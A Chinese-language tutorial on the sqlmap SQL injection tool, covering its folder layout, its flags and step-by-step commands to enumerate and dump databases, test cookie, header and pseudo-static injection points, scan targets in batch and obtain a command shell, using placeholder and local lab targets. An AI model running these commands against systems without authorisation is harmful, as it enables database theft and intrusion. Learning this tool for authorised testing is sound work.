SQLMAP工具的使用
sql注入工具:明小子 啊D 萝卜头 穿山甲 sqlmap等等
开源自动化注入利用工具,支持12中数据库,在/plugins中可以看到支持的数据库种类
支持的注入类型:bool,时间,报错,联合,堆查询,内联
可以获取用户名 密码 权限 角色 数据库 (表,字段,内容)
可以爆破识别密文数据:
getshell
命令执行
脱库/删库
目录介绍
doc介绍文档
extra 他是sqlmap额外的功能,运行cmd执行命令
lib 是sqlmap核心功能代码
pluigins包含12种数据库识别程序
data 各种数据: procs包含了mssql mysql oracle postgresql 这四种数据库的触发程序
shell 远程命令和后门
txt 表名 列名 UA字典
udf 存放攻击载荷 payload
xml 存放检测脚本
tamper 包含各种绕waf 处理脚本
thirdparty 包含了第三方插件,颜色,优化等等
sqlmap
工作流程
1.初始化
2.开始检测
0>检测之前是否注入过(会把检测的URL默认存放在用户家目录下.sqlmap下的output
--output-dir参数可以指定存放的目录)
1>解析URL,判断该URL是否可以访问
2>检测是否有WAF
sqlmap -u "目标URL" --identify-waf
sqlmap -u "目标URL" --check-waf
3> 执行用户输入的参数
-u 指URL
-P 指定参数
-v 指定显示的级别
--dbs 数据库
--current-db 当前数据库
--tables 表
--columns 列名
--dump 获取数据,脱库
--batch 跳过问询(yes) 直接执行
--DBMS指定数据库类型
--risk 等级过高会使用到drop,update 语句,请不要超过2,除非是自己实验的数据库
--v 显示结果等级3.
步骤详解:
1.判断注入点:sqlmap -u "目标URL" //当看到探测到结果中有环境参数(系统类型,数据库类型),则表明有注入点
2.查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql
3.获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql
4.获取当前数据库下的表:sqlmap -u "目标url" -D 库名 --tables --dbms mysql --tatch
5.获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns
6.获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用,隔开)
指定参数:
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"
cookie 注入:
python sqlmap.py -u "target" --cookie "uname=12" --level 2
python sqlmap.py -r bp拦截到的post包文档 --level 2
level 2以上会测试http cookie头的值.
level 3 以上会测试UA 和 HTTP referer头的值
xff注入:
sqlmap -r post_xff.txt --level 3
ua注入
python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch
伪静态注入
python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //伪静态要加*,表明1这个位置是注入点
批量测试
python sqlmap.py -m targeturl.txt -beep
SQLMAP注入点执行系统命令或者交互式shell
(条件:1,数据库有写文件的权限 2.需要知道web站点路径)
sqlmap.py -u root